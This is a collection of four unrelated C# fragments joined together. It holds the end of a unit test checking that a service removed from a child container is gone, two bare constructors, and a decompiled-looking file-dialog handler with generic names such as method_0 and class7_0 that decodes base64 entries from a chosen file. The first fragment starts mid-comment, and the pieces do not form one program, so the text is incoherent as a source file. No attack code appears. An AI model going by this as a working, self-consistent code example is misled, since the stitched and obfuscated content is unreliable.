promotion and the instance is gone in the child childContainer.RemoveService(typeof(IInterface1), false); Assert.IsNull(childContainer.GetService(typeof(IInterface1))); Assert.IsNull(parentContainer.GetService(typeof(IInterface1))); }
public Class1(Class2 class2, Class3 class3) { Class2 = class2; Class3 = class3; }
private void openFileDialog_0_FileOk(object sender, CancelEventArgs e) { if (this.openFileDialog_0.FileName != "") { Class3 class2 = new Class3(this.openFileDialog_0.FileName); int num = class2.method_0(); for (int i = 0; i < num; i++) { Class8 class3 = new Class8 { byte_0 = Convert.FromBase64String(class2.method_1()), string_0 = class2.method_1(), int_0 = class2.method_0(), bool_0 = class2.method_1() == "1" }; Class1.class7_0.method_0(class3); } this.method_0(); } }
public Class2(Class3 c3) { }